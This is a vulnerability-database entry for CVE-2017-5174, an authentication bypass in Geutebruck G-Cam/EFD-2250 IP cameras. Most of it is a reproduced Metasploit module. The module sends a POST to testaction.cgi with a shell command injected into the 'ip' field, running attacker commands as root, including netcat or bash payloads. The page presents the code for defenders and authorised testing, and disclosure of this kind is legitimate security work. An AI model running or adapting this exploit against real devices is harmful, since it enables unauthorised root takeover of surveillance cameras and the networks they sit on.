CVE-2017-5174
Description
An Authentication Bypass issue was discovered in Geutebruck IP Camera G-Cam/EFD-2250 Version 1.11.0.12. An authentication bypass vulnerability has been identified. The existing file system architecture could allow attackers to bypass the access control that may allow remote code execution.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Geutebruck 5.02024 G-Cam/EFD-2250 - 'testaction.cgi' Remote Command Execution (Metasploit)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Geutebruck testaction.cgi Remote Command Execution',
'Description' => %q{
This module exploits a an arbitrary command execution vulnerability. The
vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows an
anonymous user to execute arbitrary commands with root privileges.
Firmware <= 1.11.0.12 are concerned.
Tested on 5.02024 G-Cam/EFD-2250 running 1.11.0.12 firmware.
},
'Author' =>
[
'Davy Douhine', #CVE-2017-5173 (RCE) and metasploit module
'Florent Montel' #CVE-2017-5174 (Authentication bypass)
'Frederic Cikala' #CVE-2017-5174 (Authentication bypass)
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-5173' ],
[ 'CVE', '2017-5174' ],
[ 'URL', 'http://geutebruck.com' ]
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-045-02' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat bash',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 16 2016'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/testaction.cgi']),
], self.class)
end
def exploit
uri = normalize_uri(target_uri.path)
print_status("#{rhost}:#{rport} - Attempting to exploit...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'type' => "ip",
'ip' => "eth0 1.1.1.1;#{command}",
},
})
end
end
References
CWEs
CWE-288
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.